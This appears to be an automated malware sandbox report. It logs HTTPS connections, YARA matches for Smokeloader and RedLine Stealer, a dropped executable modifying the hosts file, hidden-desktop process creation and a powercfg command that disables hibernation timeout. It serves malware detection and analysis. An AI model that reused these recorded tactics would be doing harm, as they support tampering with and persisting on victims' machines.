Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62338
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62459
Source: unknown	Network traffic detected: HTTP traffic on port 62472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62332
Source: unknown	Network traffic detected: HTTP traffic on port 62427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62457
Source: unknown	Network traffic detected: HTTP traffic on port 62484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62471
Source: unknown	Network traffic detected: HTTP traffic on port 62323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62469
Source: unknown	Network traffic detected: HTTP traffic on port 62495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62349
Source: unknown	Network traffic detected: HTTP traffic on port 62450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62343
Source: unknown	Network traffic detected: HTTP traffic on port 62359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62466
Source: unknown	Network traffic detected: HTTP traffic on port 62334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62468
Source: unknown	Network traffic detected: HTTP traffic on port 62439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62517
Source: unknown	Network traffic detected: HTTP traffic on port 62557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62519
Source: unknown	Network traffic detected: HTTP traffic on port 62534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62512
Source: unknown	Network traffic detected: HTTP traffic on port 62568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62409
Source: unknown	Network traffic detected: HTTP traffic on port 62357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62521
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62522
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62523
Source: unknown	Network traffic detected: HTTP traffic on port 62418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62419
Source: unknown	Network traffic detected: HTTP traffic on port 62392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62533
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62534
Source: unknown	Network traffic detected: HTTP traffic on port 62302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62547
Source: unknown	Network traffic detected: HTTP traffic on port 62313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62309
Source: unknown	Network traffic detected: HTTP traffic on port 62556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62424
Source: unknown	Network traffic detected: HTTP traffic on port 62485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62545
Source: unknown	Network traffic detected: HTTP traffic on port 62326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62397
Source: unknown	Network traffic detected: HTTP traffic on port 62429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62399
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62482
Source: unknown	Network traffic detected: HTTP traffic on port 62519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62359
Source: unknown	Network traffic detected: HTTP traffic on port 62339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62351
Source: unknown	Network traffic detected: HTTP traffic on port 62394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62475
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62356
Source: unknown	Network traffic detected: HTTP traffic on port 62316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62357
Source: unknown	Network traffic detected: HTTP traffic on port 62371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62479
Source: unknown	Network traffic detected: HTTP traffic on port 62304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62372
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62493
Source: unknown	Network traffic detected: HTTP traffic on port 62543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62368
Source: unknown	Network traffic detected: HTTP traffic on port 62466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62369
Source: unknown	Network traffic detected: HTTP traffic on port 62542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62383
Source: unknown	Network traffic detected: HTTP traffic on port 62305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62373
Source: unknown	Network traffic detected: HTTP traffic on port 62404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62374
Source: unknown	Network traffic detected: HTTP traffic on port 62488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62379
Source: unknown	Network traffic detected: HTTP traffic on port 62350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62390
Source: unknown	Network traffic detected: HTTP traffic on port 62520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62391
Source: unknown	Network traffic detected: HTTP traffic on port 62570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62392
Source: unknown	Network traffic detected: HTTP traffic on port 62432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62394
Source: unknown	Network traffic detected: HTTP traffic on port 62415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62385
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62387
Source: unknown	Network traffic detected: HTTP traffic on port 62443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62388
Source: unknown	Network traffic detected: HTTP traffic on port 62372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62389
Source: unknown	Network traffic detected: HTTP traffic on port 62341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62553 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62455 -> 443

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.106.236.48:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:62304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62459 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\ProgramData\EHDHDHIECG.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2193245741.0000000002EF3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:

Uses powercfg.exe to modify the power settings

Source: C:\ProgramData\EHDHDHIECG.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_6C8462C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C8462C0

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6CAC60	0_2_6C6CAC60
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C79AC30	0_2_6C79AC30
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C786C00	0_2_6C786C00
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C71ECD0	0_2_6C71ECD0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6BECC0	0_2_6C6BECC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C78ED70	0_2_6C78ED70
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7EAD50	0_2_6C7EAD50
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C84CDC0	0_2_6C84CDC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C848D20	0_2_6C848D20
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C4DB0	0_2_6C6C4DB0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C756D90	0_2_6C756D90
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C75EE70	0_2_6C75EE70
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7A0E20	0_2_6C7A0E20
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6CAEC0	0_2_6C6CAEC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C760EC0	0_2_6C760EC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C746E90	0_2_6C746E90
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C782F70	0_2_6C782F70
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C808FB0	0_2_6C808FB0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C72EF40	0_2_6C72EF40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C6F10	0_2_6C6C6F10
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C79EFF0	0_2_6C79EFF0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C0FE0	0_2_6C6C0FE0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C800F20	0_2_6C800F20
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6CEFB0	0_2_6C6CEFB0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C794840	0_2_6C794840
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C710820	0_2_6C710820
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C74A820	0_2_6C74A820
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7C68E0	0_2_6C7C68E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6F8960	0_2_6C6F8960
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C716900	0_2_6C716900
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7DC9E0	0_2_6C7DC9E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6F49F0	0_2_6C6F49F0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7809B0	0_2_6C7809B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7509A0	0_2_6C7509A0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C77A9A0	0_2_6C77A9A0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C73CA70	0_2_6C73CA70
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C778A30	0_2_6C778A30
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C76EA00	0_2_6C76EA00
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C73EA80	0_2_6C73EA80
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7C6BE0	0_2_6C7C6BE0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C760BA0	0_2_6C760BA0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6D8460	0_2_6C6D8460
